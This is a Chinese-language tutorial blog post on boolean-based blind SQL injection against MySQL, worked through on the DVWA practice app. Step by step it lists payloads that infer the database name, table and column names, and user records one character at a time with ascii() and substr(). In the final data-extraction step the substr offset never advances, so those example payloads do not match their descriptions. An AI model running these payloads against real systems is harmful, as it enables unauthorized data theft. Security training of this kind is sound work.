sql注入知识---布尔型盲注


表现:会对你的输出进行显示正确错误,但不会报错

MySQL盲注常用函数

1.length() 返回字符串的长度,例如可以返回数据库名字的长度 
2.substr() ⽤来截取字符串 
3.ascii() 返回字符的ascii码
4.sleep(n) 将程序挂起⼀段时间,n为n秒
5.if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

盲注流程

一、判断是否存在注入,是字符型还是数字型注入

注入点原查询代码:

?id  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
  1. 判断注入(判断注入类型):
注入语句:
1' and 1=1 #
带入查询的语句:
?id  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';"; 
注入语句:
1' and 1=2 #
带入查询的语句:
?id  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";

二、猜解当前数据库名

  1. 猜数据库名长度:
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 # 
1' and length(database())=4 #

通过返回的正确与否来判断数据库的每个字母

1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值)
1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);
1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);
1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复以上步骤直到得出完整的数据库名dvwa
1' and ascii(substr(database(),n,1))>100

注释:
substr(str,start,stop)
substr截取字符串str,从start开始截取,截取stop个字符

三、猜解表名

  1. 猜解表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在

注释:
原理是使用count()这个函数来判断table_name这个表的数量有几个
然后后面有一个where判断来指定是当前数据库
在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常,错误即返回不正常

  1. 猜解表名长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在

注释:
select table_name from information_schema.tables where table_schema=database() limit 0,1),1) 这条语句就是substr的str,要截取的字符
limit 0,1 这条语句是 limit 子句来限制查询的数量,具体格式是这样的:
select * from tableName limit i,n
tableName:表名
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
i与n之间使用英文逗号","隔开
limit n 等同于 limit 0,n
limit 0,1 默认0(i)就是从1开始

  1. 猜解表的名字:
猜解第一个表名的第一个字符长度是否为:g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正常
猜解第一个表名的第二个字符长度是否为:u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 返回正常
猜解第一个表名的第三个字符长度是否为:e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 返回正常
猜解第一个表名的第四个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 # 返回正常
猜解第一个表名的第五个字符长度是否为:t
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116 # 返回正常
猜解第一个表名的第六个字符长度是否为:b
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 # 返回正常
猜解第一个表名的第七个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 # 返回正常
猜解第一个表名的第八个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 # 返回正常
猜解第一个表名的第九个字符长度是否为:k
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 # 返回正常

语法格式是:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))>97 #
i 是第几个表
n 是第几个字符长度

四、猜解表中的字段名

  1. 猜解字段的数量:
判断表名users的字段数量是否为8
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #

猜解第⼀个字段的长度(user_id):
猜解第一个字段的长度是否为7:

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #

猜解第二个字段的长度(first_name):

猜解第二个字段的长度是否为101' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))=10 #

猜解第⼀个字段名(user_id):

猜解第一个字段名的第一个字符为:u
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 #
猜解第一个字段名的第二个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=115 #
猜解第一个字段名的第三个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),3,1))=101 #
猜解第一个字段名的第四个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),4,1))=114 #
猜解第一个字段名的第五个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),5,1))=95 #
猜解第一个字段名的第六个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),6,1))=105 #
猜解第一个字段名的第七个字符为:d
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),7,1))=100 #

猜解第二个字段名(first_name):

猜解第二个字段名的第一个字符为:f
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 #
猜解第二个字段名的第二个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #
猜解第二个字段名的第三个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),3,1))=114 #
猜解第二个字段名的第四个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),4,1))=115 #
猜解第二个字段名的第五个字符为:t
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),5,1))=116 #
猜解第二个字段名的第六个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),6,1))=95 #
猜解第二个字段名的第七个字符为:n
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),7,1))=110 #
猜解第二个字段名的第八个字符为:a
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),8,1))=97 #
猜解第二个字段名的第九个字符为:m
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),9,1))=109 #
猜解第二个字段名的第十个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),10,1))=101 #

如果想查询第n个字段名,那么就使用这个语句:

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit i,1),n,1))=101 #
注释:
i代表查询第几个字段名
n代码查询字段名的第几个字符

五、猜解数据

根据ascii码来猜解数据:
我们就查询 user 这个字段的数据吧!(已知情况下)

猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # 
猜解 dvwa.users 表下的 user 列的第二个字段内容为:d
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=100 # 
猜解 dvwa.users 表下的 user 列的第三个字段内容为:m
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=109 # 
猜解 dvwa.users 表下的 user 列的第四个字段内容为:i
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=105 # 
猜解 dvwa.users 表下的 user 列的第五个字段内容为:n
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=110 #
(如果自己写脚本就要遍历全部)

事件的真相:

如果你看到这里那么恭喜你白看了,上面的那些都用不上但是:
请添加图片描述
心安啦各位
当然也不是完全没有用起码这个盲注的基本流程更方便写脚本了
一般的情况下我们面对这种盲注都是写脚本跑(提前准备然后更具具体的情况再改脚本)
请添加图片描述

感谢大家观看,我会与大家共同进步的(qq:622816049)有问题可以提问。群主会帮助大家的。嘻嘻

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kui954

感谢各位的支持o(* ̄3 ̄)o

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值